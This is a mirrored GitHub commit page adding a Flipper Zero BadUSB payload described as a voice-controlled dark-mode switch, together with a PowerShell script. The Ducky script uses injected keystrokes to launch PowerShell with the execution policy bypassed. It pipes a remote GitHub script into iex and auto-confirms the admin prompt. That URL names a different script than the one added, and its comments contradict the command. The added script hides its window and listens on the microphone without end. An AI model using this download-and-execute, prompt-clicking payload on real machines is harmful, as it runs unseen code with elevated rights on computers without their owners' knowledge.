mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-05 20:40:14 -08:00
Add files via upload
This commit is contained in:
18
Voice-Activated-DarkMode/Voice-Activated-DarkMode.txt
Normal file
18
Voice-Activated-DarkMode/Voice-Activated-DarkMode.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Voice-Activated-DarkMode
|
||||
REM Author: @beigeworm | https://github.com/beigeworm
|
||||
REM Description: Control Windows theme with your voice. Say 'Light' OR 'Dark' to change theme.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM *REQUIREMENTS*
|
||||
REM admin required for disable USB function.
|
||||
|
||||
REM some setup for dukie script.
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove -W Hidden to show the window).
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -Exec Bypass -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/BadUSB-Detect-and-Protect/main.ps1 | iex
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 2500
|
||||
ALT y
|
||||
45
Voice-Activated-DarkMode/main.ps1
Normal file
45
Voice-Activated-DarkMode/main.ps1
Normal file
@@ -0,0 +1,45 @@
|
||||
<# ===================== VOICE ACTIVATED DARK/LIGHT MODE ======================
|
||||
|
||||
SYNOPSIS
|
||||
Control Windows theme with your voice.
|
||||
Say 'Light' OR 'Dark' to change theme.
|
||||
|
||||
#>
|
||||
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
if($hwnd -ne [System.IntPtr]::Zero){
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else{
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
|
||||
while ($true) {
|
||||
Add-Type -AssemblyName System.Speech
|
||||
$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine
|
||||
$grammar = New-Object System.Speech.Recognition.DictationGrammar
|
||||
$speech.LoadGrammar($grammar)
|
||||
$speech.SetInputToDefaultAudioDevice()
|
||||
$result = $speech.Recognize()
|
||||
$Theme = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize"
|
||||
if ($result) {
|
||||
$text = $result.Text
|
||||
Write-Output $text
|
||||
|
||||
if ($text -match 'Dark'){
|
||||
Write-Host "Set Dark Theme"
|
||||
Set-ItemProperty $Theme AppsUseLightTheme -Value 0
|
||||
Set-ItemProperty $Theme SystemUsesLightTheme -Value 0
|
||||
}
|
||||
if ($text -match 'Light'){
|
||||
Set-ItemProperty $Theme AppsUseLightTheme -Value 1
|
||||
Set-ItemProperty $Theme SystemUsesLightTheme -Value 1
|
||||
Write-Host "Set Light Theme"
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user